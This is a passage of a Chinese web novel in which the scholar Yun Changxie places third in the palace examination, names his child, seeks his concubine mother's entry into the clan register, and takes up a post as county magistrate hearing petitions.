不过他们现在还在外面呢,他不好在外面当众教训弟弟,只能皱着眉头看着云长睦。 云长睦察觉到了云长誉的视线,有点委屈的抬眸看了一眼大哥。 他其实不大理解,明明他才是大哥的亲弟弟,为什么大哥对云长歇比对他好? 对此他的心里一直很不满,也一直很不理解。 云长歇在一百四十六名。 云长佑在七十三名。 云长睦在一百六十九名。 云家四个人参加考试,有三个人考中了,这算是一件大喜事。 但是云长誉却喜不起来,他知道云长歇的底子差,云长歇能考中已经不错了,算是比较超常的发挥了。 他不满的是其他三个人,首当其冲的就是云长尧。 云长尧的学问不差,若是他不生病的话,有望考进前一百的。 但是他也不知道怎么想的,非要跟那些书生去什么青楼。 云长誉都三十好几了,他还是状元郎,他都没有去过那种地方。 他是真的没办法理解云长尧,所以心里对云长尧十分生气十分失望。 然后就是云长睦与云长佑,他们两个人的学问都很好的。 在云长誉看来,他们应该考到前五十名里。 结果没有想到,两个人一个七十多,一个掉到了一百六十。 不满意,他太不满意了。 云长誉是黑着脸回去的,整个人的气场十分吓人。 跟在他身后的云长睦,云长佑都不敢吭声,低着头跟着他回到大房。 之后是官差报喜,云长歇那边还没有回去,官差就去他们家报喜去了。 此时家里只有柳氏在,柳氏得知云长歇中了,立刻让梁婶去拿银子给官差。 她也以为这一次,云长歇应该考不中。 云长歇之前身体不好,正儿八经读书的时间不多。 她知道云长歇喜欢读书,也比较擅长读书。 但是擅长读书,也不可能只读几年就能够考中的。 结果没有想到,是她小看了她的儿子。 她的儿子哪里是擅长读书啊,他啊,就是天生读书的那一块料,天生就是为了读书生的。 这边欢喜异常,另一边大房那边却是低气压。 这种低气压,一直持续到云侍郎从外面回来。 他要开祠堂,带着云长睦,云长歇,云长佑去祭拜祖先。 云长歇是在傍晚被接过去的,他随着云家的众人去拜祖先,之后就被云侍郎叫去了书房。 云侍郎对云长歇的态度很好,似乎也很意外他能考上贡士。 “你考得不错,之后的殿试不要太紧张,应该能考个不错的名次。等到你成了进士,我给你安排个好去处,你去那里好好的发展。混出一点好名声,到时候再回京城来。” 这话里的意思是,想要把他外派了。 很多考生高中了,都是不乐意被外派的。 因为外派没有京城好,很多人不愿意出去,只想留在京城里。 但是京城的官位就那么多,普通人,若是没有依仗,想要混出来没个十几年是不行的。 若是真的有本事,最好的还是外派,然后混出点功绩来。 有了功绩,有了名声,再回来与别人争,也就有了更多底气。 云侍郎估计是觉得,云长歇的心性很不错,才会想要他出去当官。 云长歇不懂这些,他知道这个大伯不坏,他是不会想要害他的。所以听到他的安排,云长歇立刻说道:“一切听从大伯的安排。” 见云长歇这样听话懂事,云侍郎满意的点了点头。 “好了,你回去吧,好好为后面的殿试做准备。” 等到云长歇从书房离开,云长睦刚刚好要去书房,两个人面对面擦肩而过。 云长睦没有搭理云长歇,云长歇自然不会多理会他。 两个人明明是堂兄弟,此时此刻却像是陌生人一样。 第62章 第 62 章 云家不管是男孩,还是女…… 云家不管是男孩, 还是女孩或者哥儿,都是有规定的“字”辈的。 云长歇这一代男孩是长字辈,女孩和哥儿是安字辈。 云长歇下面一代, 男孩是玉字辈,女孩和哥儿是亭字辈。 云长歇从大房回来,就开始给孩子取名字。已经定下了一个字,后面一个字其实不难取。 云长歇之前一直不取, 主要是他有点取名废。加上又是第一个孩子, 好像不管给他取什么, 都配不上他的孩子一样。 最后云长歇想了许久,一连写下了好几个名字。 云亭雪, 云亭月, 云亭楼,云亭河, 都挺不错的。 名字的寓意不见得有多好,但是名字的意境却特别的美。 从这些名字都能,联想出一副美景出来。 至于为什么名字, 看起来有点像男孩? 在云长歇的眼里, 哥儿与男孩也没有太大区别。 而且名字不一定非要柔美才是好的,在古代封建社会里,他并不希望他家的哥儿太过柔美。 他希望,他坚强,勇敢,善良的同时, 又足够的独立和强大。 最后在云长歇与苏青箬的商量下,他们给孩子选了云亭楼这个名字。 苏青箬在纸上写道:“剩下的名字,可以给以后其他的孩子。” 云长歇闻言一脸好笑的看着他, “你还想再生一个哥儿或者女儿吗?” 云长歇取的这几个名字,都是亭字辈的,是给女孩或者哥儿用的。苏青箬想要用到,以后只能再生个哥儿或者女儿。 还有就是,云长歇想着要一个孩子就行了。 在他看来,多生多育,不如优生优育。 孩子若是太多,父母免不了会关爱不过来。 就像是云长歇一样,一个孩子他都照顾不来,他家哥儿跟他就不怎么亲近。 若是他们的家孩子太多,云长歇这个父亲常年在外忙碌,能够陪伴他们的时间会更少。 到时候孩子缺少父爱,或者是他父爱给的不均匀,孩子们之间也容易出问题。 多孩家庭,不管父母如何努力一碗水端平,实际上只要孩子一多,就没办法做到百分百公平。 乖巧懂事的,往往要比活泼任性的被关注的少。爱哭爱闹的孩子,总是会特别惹父母的关系与照顾。 但是苏青箬与他的想法不一样,首先他出生在一个多孩的家庭,他觉得孩子多了,以后才能互相扶持。 其次就是,他这一胎生得轻松,让他觉得他生孩子很轻松。在生孩子很轻松的情况,他就觉得不如多生几个出来。 事实上,大多数的女子与哥儿,若是嫁给了喜欢的人,都是乐意给对方多生的。 后世那些女孩,不愿意生养了。不是她们变得自私了,而是遇不到喜欢的人。 一些男人变得太过精明,长得不好看的他们,不仅不愿意付出金钱,甚至还开始算计女人的钱。 在这样的情况下,后世的女孩才会越来越不愿意生,也不敢生。 当然了,男女之间的问题只是小问题,更主要的还是大环境越来越差。 环境污染,就业问题,拐卖人口,社会压力等等。 环境越是恶劣,人就越是不敢生养。 他们害怕,他们精心照顾,当成心肝的孩子,会被更有钱有势的人当成资源库。 他们在家里连大声呵斥都不舍得的宝贝,有可能会被那些人拉进屠宰场随意宰杀。 …… 苏青箬不是后世的人,云长歇又把他保护的很好。 在他们有云家当靠山,云长歇以后可以当官的情况。 他不用担心,他的孩子被人欺负。 又有个有本事,长相英俊的夫君,他自然是愿意多生的。 对于要不要二胎这件事情,云长歇没有跟苏青箬多聊。现在他们家的老大还小着呢,就算以后要那也要好几年之后了。 等到那个时候,苏青箬年纪上来,也不见得就想生了。 两个人给老大取好名字,过了两三日就抱着孩子回了大房,让大伯把孩子的名字上到族谱上。 云亭楼,是云长歇正儿八经的嫡哥儿,是可以上云家的族谱的。 云长歇在给他上族谱时,顺便让大伯给苏青箬也上了族谱。 苏青箬的身份低微,但是也是他正经娶回来的,如今又为了他生下一个孩子,理应让苏青箬也进云家的族谱。 大伯在这件事情上,并没有多为难云长歇。 云长歇见状也没有得寸进尺,他想着等到他考中了进士,有了官位在身,到时候他再想办法,让柳氏跟着他上云家族谱。 云长歇执着于,给他们上族谱,是有他的原因的。 在古代,只有上了族谱,才是这家的族人。 就算有一天,云长歇死了。 他们在云家族谱上,孤儿寡母的,也没有人敢随意欺负他们。 云家的人不管与云长歇感情如何,都要看在是同族的份上对他们多加照顾。 这是依仗,也是云长歇想要给他们的体面。 等到上完了族谱,祭拜了祖先。 两个人带着孩子,在大房用完中午饭才回去的。 在此之后,云长歇又开始安心温习,为了之后的殿试做准备。 这期间云长歇的一位夫子亲自上门过,他给云长歇收集了不少历年的殿试考卷。 云长歇花了不少时间,才把这些考卷都做了一遍。 只可惜时间过于紧迫了,不然他真的想要去书院,让夫子们帮忙看一看。 很快,殿试就到了。 殿试与其他几次科举不同,只要不出什么大的错处,一般情况都是能考中的。 唯一的区别在于,是一甲,二甲,还是三甲。 殿试只考一天,要提前好几天,进宫学习礼仪,以免考试的时候冲撞了圣架。 宫里还会给他们准备统一的服饰,连带着之后的传胪大典的也要准备。 殿试的那天早上,他们一早就要等到宫门外面。 在外面的时候,大家还能压低声音说说话,等到进了宫门就不能再说话了。 整个过程的气氛,挺压抑,挺难捱的。 因为不能说话,不能抬头四处观望,也不能走路发出很大的声音。 两三百的人,一路上没有什么声音,说实话还真的挺诡异的。 等到终于进了大殿,皇帝并没有在殿内,据说要中午的时候才会过来。 云长歇没有特别在意,他找到了属于自己的位置,就开始不急不慢的研墨。 等到他把墨研好,殿试也正式开始了。 殿试只有一天,考试的题量不算多。 主要考的有两道贴经,一道墨义,一首诗,还有一道策问,和一道律法题。 经过之前那么多次的考试,云长歇答题的速度早就练了起来。 他现在写字速度很快,可以做到又快又字迹工整了。 在云长歇等一众考生,低着头十分认真答题的时候,那位皇帝陛下这才姗姗来迟。 他们大周的皇帝,是一位年近五十的中年大叔。 对方长得挺英俊的,就是眼神看起来有点无神,不知道是不是老花眼了。 年纪大了,就容易老花眼。 古代又没有老花镜,老花眼了还挺麻烦的。 云长歇的座位靠近殿门口,皇帝从他身边路过的时候停顿了一下,目光似乎在他身上稍微停留了片刻。 皇帝确实看了一眼云长歇,云长歇长得太过出挑了。在一群年纪不小的考生里,他就像是鹤立鸡群一样的存在。 再加上,他长得与云长誉很像,云长誉是皇帝身边的鹰犬,两个人的关系其实很熟悉。 突然看到云长歇的时候,皇帝还以为看到了年轻时的云长誉了。 时间过得真快啊,已经十几年了。 云长誉已经不是当年意气风发的状元郎,他也不是那个正值壮年的陛下了。 第63章 第 63 章 殿试就一天时间,因为忙…… 殿试就一天时间, 因为忙着考试答题,时间就感觉过得很快。 云长歇全程没怎么太抬过头,只有中午他吃东西的时候, 才会稍微抬抬头活动一下。 中午的吃食,是宫里准备的。 为了考试时吃东西不会弄脏考卷,也是为了防止考生会肠胃不适,中午的食物就准备的十分简单。 就是普通的面饼, 清粥, 一点也不像是宫中能做出的食物。 在云长歇几人参加殿试时, 另一边大房的老太太正在佛堂礼佛。 老人家跪坐在佛堂里面,正在为了三个孙子祈福。 她一生有三子, 三子都是进士出身。 当年她培养三个儿子时, 都没有现在这样的紧张。 她对于几个孙子,其实也没有特别大的要求。 不要求他们像他们爹一样, 以后风风光光的做个大官。 但是云家是寒门出身,也不能连个进士都考不上,这样免不了让人看了笑话。 老太太在佛堂待了一下午, 一直等到宫里的众人从宫里出来, 她就带着下人到大门口等着了。 云长睦,云长佑两个人一同坐马车回来的。 云长歇没有跟他们一起,而是直接回到了家里。 三日后出金榜,他们还要换上衣服参加传胪大典。 参加传胪大典的时候,他们这些考生的衣服是一样的。 只有一甲前三名,到时候会换上不一样的衣服。 云长歇没有把握进一甲, 他是个实务的,只想着考个二甲就行了。 只要他成了进士,有大伯和大堂哥帮忙, 应该可以去个不错的地方当官。 熬个三五年,做出点功绩,以后他再回到京城来,也能有个不错的官职。 另一边的云长睦,心情却不怎么好。 他的学问是不错的,但是心理素质却不怎么好。 之前他一直是个举人,屡次不中,在举人这个位置待了不少年。 云长誉一直教导他,让他稍微放松心态,可是他总是没办法做到。 因为太过看重科举,导致他每一次考试就会特别紧张。 就比如这次殿试一样,上一次他被云长歇压了一头,心里本来就觉得挺不开心的。他想要在殿试时好好发挥,这样大哥,父亲就会更加看重他,他就不用被云长歇压一头了。 但是他越是如此,心态就越是不稳,考试的时候老是走神。 十分害怕这一次考得不好,到时候又要被大哥和父亲训斥。 他觉得他这一次答得不算好,尤其是当他看着云长佑那家伙,是笑眯眯的从考场里面出来的时候,他本就不好的心情就更加不好了。 大房这边,没有问他们考得如何。 两个人一回来,就回去好好休息了。 出金榜的前一天,他们这些考生就被叫到了宫里,学习传胪大典的流程与礼仪。 然后他们这些人里面,会有一个人比较特殊,会提前知道自己的名次,那就是负责唱名的传胪。 传胪是二甲的第一名,他来负责在大殿前进行唱名。 唱名,也就是公布殿试排名的。 一般情况,一甲唱名三次,二甲唱名两次,三甲唱名一次。 传胪是个意想不到的人,是云长佑。 云长歇与这位堂兄,两个人还没有怎么说过话。 云长佑是个脾气好的,平日里总是笑眯眯的。 他对云长歇态度不算差,两个人之所以不大熟悉,主要是一直以来都比较忙。 云长佑是过来参加科举的,他们不是在忙着会试的事情,就是在忙着准备参加殿试。 如今好不容易殿试结束,还要为了传胪大典做准备。 得知云长佑是传胪,云长歇与云长睦都挺惊讶的。 云长佑被单独留了下来,他需要学习的礼仪更多,估计要等很久才能出宫。 次日,便是传胪大典,也就是出金榜的时候。 云长歇一大早就起来,被家里的马车送到了宫门口。 之后他随着大家排好队伍,这才依次进入了宫门。 传胪大典,是在皇宫大殿前举行的。 来参加大典的,除了他们这些准进士,还有文武百官。 他们过去的时候,文武百官已经提前到了。 百官依照品阶,依次站在大殿外面两边。 云长歇往前走的时候,还看到了云侍郎,云长誉等人。 云长誉是大理寺的人,在他的身边还站了几个人。 云长歇没敢多看,快速的跟随大部队从他们身边经过。 传胪大典正式开始时,云长佑走到大殿上面,拿起这次殿试的名单。 他在看到某个名字时,脸上的表情明显变了变。 他努力没有让自己笑出来,这才开始了一甲的唱名。 先唱名一甲,前三位。 前三位,要进大殿去面见陛下。 “丰和二十三年,新科一甲第一名屈相阳!” 叫屈相阳的,是个四十出头的男人。 他听到自己的名字,立刻小心谨慎的出列,在大殿前跪了下来。 等到他的名字喊过三次,紧接着是第二名的名字。 第二名是榜眼,是个三十多岁,体态有点胖的考生。 这人云长歇见过两次,好像是一个世家子,对方的身份还挺高的。 不等云长歇继续打量别人,他恍惚中听到了自己的名字。 “丰和二十三年,新科一甲第三名云长歇!” 云长歇本以为自己听错了,等到云长佑再一次喊他的名字,他这才理了理衣摆走了出去。 他跟着前面两人,一起行了跪拜礼,就被一旁的一个太监,引着从御道往大殿里走。 御道只有皇帝可以走,如今他们三个人,却可以从这里走上大殿,其中的荣耀可以说是风光无限。 但是这个时候的云长歇,完全没有觉得十分风光,他依旧觉得有点不可思议。 他自认为学问,不及云长睦,云长佑很多。 他觉得他考个二甲就算不错了,从来没有想到自己会进一甲。 如今人跟着进了大殿,叩见了大殿龙椅上的皇帝,云长歇还有点恍恍惚惚的。 然后就是这个时候,皇帝突然喊了云长歇的名字。 “你叫云长歇对吧?” 云长歇闻言连忙上前一步,然后微微俯身回答道:“回陛下,臣正是。” “你有个哥哥叫云长誉,他可是十几年前的状元郎,在文章方面你可不如他啊。” “臣惭愧,臣的学问不及兄长十分之一。” “哈哈哈,你学问确实不如他,不过你也有你的长处。你写的那篇策问不错,有一些独特的见解,与其他的考生很不一样。” …… 皇帝只是随口与云长歇聊了两句,像是一个长辈跟晚辈聊家常一样。之后皇帝就没有再关注云长歇了,而是一直在跟那位状元郎在说话。 他们在大殿里待了许久,等到外面的传胪大典结束,他们这才随着太监出去。 后面便是状元游街了,今天的主角是那位状元郎。 状元会换上最独特的衣服,然后骑着高头大马走在队伍的最前面。 云长歇身为探花,他也稍微打扮了一番,胸口还绑了个大红花。 在他们从皇宫里出来,准备进行游街的时候,宫门口就把金榜张贴了出来。 云家的人很快就知道了,云长歇等人的名次。 云长歇在一甲第三,是探花郎。 云长佑在二甲第一,是传胪。 然后是云长睦,他在三甲里面。虽然不是进士,也是同进士。 得知这个消息的云家众人,早早就等在了游街的路上。 这种事情云家十分熟悉,也知道哪些位置与这些进士离得最近。 苏青箬跟着林氏一起,在一个小酒楼的二楼。这边的视野很好,没有什么遮挡,游街队伍若是经过,他们可以一眼就能看见。 两个人出来的时候,没有把孩子一起带上。 今天的情况特殊,这一街上人满为患的。 若是把孩子给带上,人挤人的很容易受伤。 艾草趴在围栏上,一直垫着脚看着远方。这两年他与妹妹,都长高了很多。 自从云长歇把他们奴籍改了,他们两个人就没怎么干过活。 艾草养尊处优的,如今已经出落的很漂亮了,与以前那个土土的小哥儿,差距可以说是天壤之别。 艾草现在已经十七八,去年就有人想要给他说亲。 云长歇却觉得他还小,十七八身体都没长全,就要嫁人给人生孩子。 婆家再好,也不可能有娘家好。 云长歇的意思很简单,那就是再等个几年,等到他长大了,身体发育好了,到时候再嫁人也不迟。 对此有些人就觉得,云长歇这个哥夫管得太多了。 还说哥儿本来就不好嫁,云长歇把他拖成二十多的老哥儿,到时候就是想找好人家都困难。 云长歇却不这样觉得,只要他有本事,只要他当了官。 就算艾草成了老哥儿,也会有人上赶着娶他的。 事实上,还真的就是如此。 世人大多是势利眼,就像是皇帝的那位大公主一样。 对方年纪不小了,还丧夫,如今还不是有大把大把的男人想要给她当驸马? 如今云长歇成了探花,他的身价一夜间水涨船高,艾草是他家夫郎的弟弟,想要娶他的绝对不会少的。 第64章 第 64 章 状元游街,云长歇本以为…… 状元游街, 云长歇本以为自己是个配角。但是当游街开始后,他才发现人长得好看,有的时候确实是优势。 长相好看, 不管是男是女,都是有利有弊的。 弊端是,容易遭到同性的嫉妒排斥,也容易遭受异性的骚扰。 同性相斥异性相吸, 这是自然的规律。 并不是只有女人之间, 才会因为长相发生嫉妒。事实上男人之间也一样, 男人之间的嫉妒要比女人更可怕,有的时候因为长相就能害死人。 当然了, 相较于这些弊端, 优秀的长相带来的好处会更多。 就比如现在的云长歇一样,他的探花郎的水分就很大。 皇帝愿意给他个探花郎, 除了看在云长誉的面子上,更主要的还是因为他长得好。 在大周的朝堂上,官员的长相就是朝廷的门面。 哪怕天子是男人, 他也喜欢天天看着一群长相好看又有才华的官员待在自己面前。 这天下有才华的人太多了, 但是又有才华又长得好看的却不多。 皇帝就是集卡狂魔,他要把最有才华最好看的人,统统都收集到他的身边来。 这一次的游街,云长歇只是第三名而已。他前面还有一个状元与榜眼,大家的目光应该更关注于他们才对。 但是由于云长歇长得太好看了,说一句他在这两百名里是最好看的都不为过。 在这样的情况下, 街道两边的百姓第一眼看到的就是他。 有不少百姓开始朝着他扔花,扔香囊,扔帕子之类的物品。 花还好, 砸在身上不怎么疼。 但是香囊,荷包之类的,砸在身上还是挺疼的。 云长歇的小身板,有点遭不住这样的“热情”,便下意识往后面躲了躲。 但是他躲,百姓扔得东西就追着他跑。 云长歇一脸无语,他看见一个半大的哥儿,让家里的小厮给他扔荷包。那荷包里面好像有银子,招呼过来的架势可以要他半条小命。 好在周围有军队保护,有一个带刀侍卫护在了云长歇面前,替他挡掉了一些来势汹汹的“暗器”。 云长歇见状道了一声谢,对方却笑着对他说道:“不用道谢,我跟你大哥是朋友,我也算是你的长辈,理应多照顾你一点的。” 这个护卫看起来年轻,实际上年纪已经快四十了。 他跟云长誉是好友,两个人的关系挺不错的。 在游街开始之前,云长誉就让人给他传了话,让他多多照看一点云长歇。 很快游街的队伍,就到达了苏青箬他们所在的酒楼。 苏青箬远远地就看见云长歇了,他下意识的拿出一个帕子举起手来挥了挥。 本以为云长歇会看不到,因为街道两边有太多的人,他们这个酒楼上也都是人。 结果云长歇像是与他心有灵犀,在他举起手的时候就快速的捕捉到了他的身影。 云长歇也抬起手来挥了挥,后来想到自己身上有花,就挑了一株特别艳丽的。 云长歇在路过他们所在的酒楼时,便用力地把手里的花抛了上去。 酒楼上的人不知道他要抛给谁,很多人见状下意识的争抢。 结果没有想到,花最后落到了一个打扮普通的哥儿手里。 本来他们还以为,那哥儿是谁家未出阁的哥儿。后来打听了一下才知道,人家是探花郎正经的夫郎。 大家见状顿时不羡慕嫉妒了,只是在感叹探花郎长得这样英俊,没有想到是个已经有了夫郎的。 此时的苏青箬特别的开心,刚刚云长歇朝着他扔花的时候,他是真的很害怕自己抢不到。 好在,他还是抢到了,没有落到别人手里。 等到那点害怕过去,苏青箬心里更多的还是欢喜。 他紧紧攥着手里的花,整个人开心的像个孩子一样。 看过云长歇游街,苏青箬就不打算继续待在这里了。 等会游街结束了,云长歇肯定就要回家了,他想先回去为他准备吃的。 苏青箬一走,艾草等人也要走。 林氏见状,也就没有什么好待的了。 最终,云长歇也没能回去吃饭,而是被叫去了云家大房,连带着苏青箬和柳氏一起。 以前他们来大房吃饭,苏青箬和柳氏都不能跟着一起上主桌的。 今天情况不一样,是云长歇大喜的日子,云长歇给云家长脸了,他们便跟着上了主桌。 吃饭的时候,大多数都是云侍郎与云长誉在说话。 后来云侍郎问云长歇有没有什么想要,云长歇便不急不慢的开口说道:“长歇想要娘亲跟着我进云家族谱。” 在座的众人闻言突然一静,都有点不可思议的看向云长歇。 云侍郎看了柳氏一眼,柳氏顿时害怕的拉了拉云长歇的袖子。 云长歇见状笑了笑,稍微的安抚了一下柳氏,这才看向云侍郎再次说道:“如果大伯不同意,就当长歇没有提过吧。” 他还是有点太急躁了,柳氏是妾室,云家估计不会同意她进族谱。 云侍郎没有吭声,脸色看起来不怎么好看。 云长誉却觉得不是什么大事,他笑着对云长歇说道:“你想要柳氏进族谱,也不是不可以的。等到……你的官位比我还要大了,到时候我让族里给你单开一页,柳氏就可以跟着你进云家族谱了。” 族谱单开一页,只有做出重大贡献,在族里人人敬重才行。 这可不是好办到的,尤其是在他前头有个更加优秀的云长誉的情况下,就是云长歇自己心里也没有多大的把握。 不过有机会,总比没有机会强。他既然走了当官这条路,那就要努力的做到最好。 云长誉再怎么优秀,如今的他是皇帝的鹰犬,他的位置注定走不远了。 但是云长歇不一样,他走的路与云长誉不同,他觉得只要他愿意努力,他肯定可以走得更远更高。 云侍郎见云长誉都这样说了,便也点了点头。 “行吧,你若是真的能做到,以后比你大哥强,我就给你在族谱上单开一页,你娘就可以跟你进云家族谱。” 等到家宴结束,云长歇带着家眷离开。 云长睦回到他的院子里,就忍不住对身边的奶娘说道:“这个三房老幺还真是狂妄,他这个探花郎有多少的水分,云家的众人心里都明白。要不是靠着大哥,加上他长得好看,以他的学问根本没办法进入一甲。结果没有想到,稍微的有点能耐了,就敢跟我父亲叫板了。真是的,真是让人讨厌!” 云长睦的奶娘闻言,给云长睦倒了一杯水。 “你又何必跟他计较,他不懂事是他的事情,他把老爷给惹生气了,以后有他的苦头吃。” 云长睦也觉得,他没有必要跟云长歇这样的人生气。 另一边云长歇等人回到家里,柳氏就拉着云长歇说道:“歇儿,娘不想进云家族谱,娘就是个下人,是个妾室,进不进云家族谱没有关系的。倒是你,何必为了娘的事情跟你大伯置气?” “娘,你不要担心,大伯不会因为这件事情就怨我。至于娘以后进族谱的事情,娘你不要担心,我一定会让你进去的。娘生我,养我,若是我连这件事情都做不到,我以后当官都觉得自己没本事。” 若是在后世,柳氏进不进族谱没什么关系,后世也没有那么多的讲究。没有宗族庇佑,女人反而能活得更轻松一点。 但是古代不一样,古代是个会吃女人的时代。云长歇又是个身体不好的,万一他有个好歹,柳氏进了云家的族谱,以后也算是有个依仗。 …… 殿试结束第三天,云长歇就接到了任命。 让他十分意外的是,他要去的地方正是秋平县。 也就是说,他这是要回去接他老爹的知县之位。 云老三在秋平县当了那么多年的知县,如今终于在大哥的帮助下升迁了。 云老三要去南方一个府城担任知府,估计是知道云老三与夫人不喜欢云长歇,也是担心这对夫妻又给云长歇不痛快。 云老三要去的地方比较远,也就没有办法为难云长歇这个小儿子了。 知道要回秋平县时,不仅云长歇觉得惊讶,就是苏青箬等人也一样。 说实话能够再回去,苏青箬还是挺开心的。他不喜欢那里的人,但是却喜欢那里的山和水。 接到任命,云长歇就要走马上任了。 之后的几天,他一直带着家里人忙着收拾。 在四月下旬时,一大家子就浩浩荡荡离开了京城。 这一次回去,苏苜蓿一家没有跟着一起回去。 他们在京城,好不容易站稳了脚跟,就不打算搬来搬去了。 京城这边有云家的人,他们在这边也不担心被人欺负了。 云长尧是和云长歇一起回去的。 他会试没有考完,本该一早就离开京城的。 但是他害怕回去之后,被云老三夫妻两个人训斥,就一直赖在京城不愿意走。 如今云长歇要回秋平县赴任,他就是不想走也要跟着走了。 说来也是惭愧,他是云长歇的哥哥,学问比云长歇好,身体也比云长歇棒。 按道理来说,他应该考得比云长歇好才对。 如今却因为他贪玩,他连会试都没有考完。 也不知道等到回到秋平县,到时候父亲母亲会多么生气? 跟满心忧虑的云长尧不同,此时的云长歇可以说是意气风发。 虽然他只是去当个小小知县,但是他对自己十分有信心。 秋平县不是什么苦寒之地,秋平县的民风也比较的淳朴,县衙里的人都是云老三的。云老三就算不喜欢他这个儿子,看到他为了云家挣了个探花回来,也不可能让手底下的人为难他的。 这个开局,对于他来说很好,是个他大展手脚的好开端。 第65章 第 65 章 不等云长歇与云长尧回来…… 不等云长歇与云长尧回来, 秋平县这边的人就得知了,云长歇考中探花的消息。 三夫人徐氏得知这个消息时,还以为是报喜的官差搞错了。 她有点不确定的, 拉着人家报喜的官差再三追问。 “你们是不是搞错了,怎么可能是老三考中了,你们是不是把名字看错了?” 官差闻言看了看手里的名单,十分肯定的对她说道:“夫人, 我们没有看错, 就是叫云长歇。” 等到两位报喜的官差离开, 没过两天官员调任的消息就下来了。 云老三要去南方当知府,云长歇要回来秋平县当知县。 知县就是一个七品芝麻官, 云长歇身为今年科举的探花郎, 说实话让他当知县是有点屈才的。 但是因为他来秋平县,一直没有升迁的云老三可以升官, 这对于云家来说也算是个喜事了。 云老三就挺高兴的,一边忙着让家里收拾东西,准备之后赴任的事情;一边还要交代县衙的下属, 等到他儿子来到这边, 一定要好好的协助他。 云老三这边越是开心,徐氏那边就越是愤懑。 她是真的无法理解,云长歇的身体都成那副模样了,为什么他还能够参加科举,还能考上探花郎? 他在她身边的时候,明明看起来不怎么聪明的模样? 早知道他有这样的造化, 她当初就应该把他留在身边守着。 这样就算他真的有本事,也会像云长庚一样没有出头的机会。 只可惜,这世上没有后悔药, 如今事情已经这样了,她就不能再肆意妄为了。 如今的云长歇是探花,是官员。 哪怕他是个小官,她也不能像以前一样随意拿捏他。 谋害朝廷官员是大罪,哪怕她有个当官的哥哥,哥哥也没有办法保住她。 云长歇他们是在六月上旬回到秋平县的。 这个时候天气已经很热了,众人一路上还挺辛苦的。 云长歇一回来,第一件事情就是与云老三进行交接。 跟着他一起回来的云长尧,回到家里就被他母亲罚了。 因为这个时候,她已经知道了,云长尧为了逛青楼没有考完会试的事情。 她是真的无法想象,这是她儿子能做出来的事情。 云家是书香门第,还是寒门起家,自诩与其他世家不同,一直都比较的清高。 云长尧不珍惜名声,做出这样的事情来,云侍郎肯定失望至极。 她突然有点后悔,小时候那样纵容云长尧了,不然也不会让他把胆子养得这样大。 云老三带着云长歇,熟悉了县衙的情况,把手里的事情都交了,他就要带家眷去赴任了。 因为时间比较紧迫,云老三也没有时间管教儿子。他让家里把东西收拾下,就着急忙慌的离开了。 云老三是个不怎么上进的,他这一走估计又要很多年。 天高路远的,云长歇这个三子不能陪伴在他身边,其他的两个儿子他都是要带着的。 也就是说,不仅云长尧要跟着他走,就连云长庚一家也要一起。 对此云长庚是不愿意的,却抵不过徐氏与妻子一起威逼利诱,最后还是苦着一张脸跟着走了。 待云老三一家离开,云长歇正式接手了知县一职。 云老三是个没有什么野心的,跟着他的属下也大多很老实。 在这样的情况下,秋平县整体的发展不算多么出色,但是也没有出现过太多不公之事。 云长歇当了知县,他就把陈猎户提拔成了个人护卫。 陈猎户有点本事,不该放在家里当个普通护院。 如今他家有不少下人,远志这个孩子也长大了,他又是秋平县的父母官。 在自己的地盘上,也没有什么不长眼的人敢过来找他们麻烦。 在云长歇熟悉县衙的公务时,有不少寻乡镇的百姓过来看他。 云长歇现在很忙,光是查看往年的账务,税收就有够他忙得了,自然没有时间去见他们。 但是他不去见百姓,又担心百姓有什么需求他不知道。 所以他想了想,就让陈猎户代替他去见见那些百姓。 若是他们没有事情,也不用担心耽误了云长歇事情。 若是他们有什么难处,就能通过陈猎户告诉云长歇。 大多数过来找云长歇的,其实都没有什么重要的事。 他们就是心里比较好奇,云长歇怎么会这样的厉害,短短几年就成了官老爷? 除了这些好奇的,凑热闹的,想要巴结云长歇,也有一些是有求于云长歇的。 陈猎户在县衙没有什么事情,文职上的事情他帮不上忙,倒是有空闲见这些百姓。 他以前也是平头百姓,对待这些百姓就比较有耐心。他花费了三四天的时间,把这些人一个个见了一遍,对秋平县也算多了些了解。 首先大部分的人,他们是没什么事情的,就是想要见见新县太爷。 其次就是一些地主,乡绅,想要巴结一下新县太爷,以后能给他们行个方便。 最后才是极个别的,真的有事情求见云长歇的。 这几个极个别的人,陈猎户了解了下他们的情况,就带着他们去见了云长歇。 一共有四个人。 第一个是个老妪,看起来年纪不小了,头发花白,眼神浑浊。 她是来求县太爷做主,帮她寻找她的孙女的。 她一辈子就一个儿子,儿子是个走南闯北的货郎。 后来因为意外,儿子与儿夫郎坐船的时候淹死了,独留下个年幼的孙女与她相依为命。 老太太一直把孙女当自己命根子,却没有想到去年的时候孙女失踪了。 她报过官,前头的云知县也让衙役四处找过,可是一点线索也没有找到。 很多人都说,她孙女肯定找不到了,不是被山里的野兽叼走了,就是被拐子给拐走了。 她不甘心,也不愿意放弃。 这一年里,一直四处托人寻找。 但是她就是个老太太,没有什么银钱,更没有什么本事,想要找人真的太难了。 听说新来了个县太爷,是个探花郎,听起来就十分厉害。 她这才想要过来碰碰运气,想要求新县太爷帮她找找孙女。 云长歇听完她的情况,就让县衙的画师帮她把她孙女的画像画出来。 画像画了,到时候张贴到县里各处,若是县里有人看见过她,肯定愿意为了赏银来县衙提供线索。 这老太太没有银子,这个赏银肯定要县衙出。 但是县衙,就是个穷县衙,县衙账目上也没有什么钱。 最后云长歇想了想,就自己出的这个赏银。 最近这几年,他靠着美肤膏赚了不少银子,如今的他倒是不缺银子花用。 第二个是个寡妇,年纪轻轻的,长得十分的漂亮。 这小寡妇过来,是为了让云长歇帮她寻物的。 她夫君是个商人,死后给她留了一把金锁。说是以后若是没有钱了,就靠着这把金锁过日子。 金锁很贵重,又是她亡夫的东西,她一直小心的珍藏着。 可是就在前几日,她藏起来的金锁突然不见了。 那东西太过贵重,她想要寻找回来,却不知道是谁偷的。 云长歇听完,开口问道:“都有什么人,知道你有这样的贵重物品?” “有我夫君的姐姐,姐夫,还有我夫君的一个朋友。除了他们,我弟弟也是知道的。” 云长歇闻言点了点头,“那这两日,他们几人可曾到访过?” “来过,有两个人来过。先是我弟弟来过,后来我夫君的姐姐也来过一趟。他们都是过来给送东西的,自从我夫君去世之后,我一个人生活,还挺艰难的,他们就时常过来看望我。” “好的,本官知道了,你去画师那里,让他把你丢的金锁画出来,之后就回去耐心等待吧。” 陈猎户见云长歇一脸胸有成竹的模样,就忍不住凑到他耳边小声问道:“大人,你知道是谁偷的?” “不知道啊。” “不知道?你还一脸的轻松,我还以为你知道了。” “没事,都是小事情,我自有办法帮她找回来。” 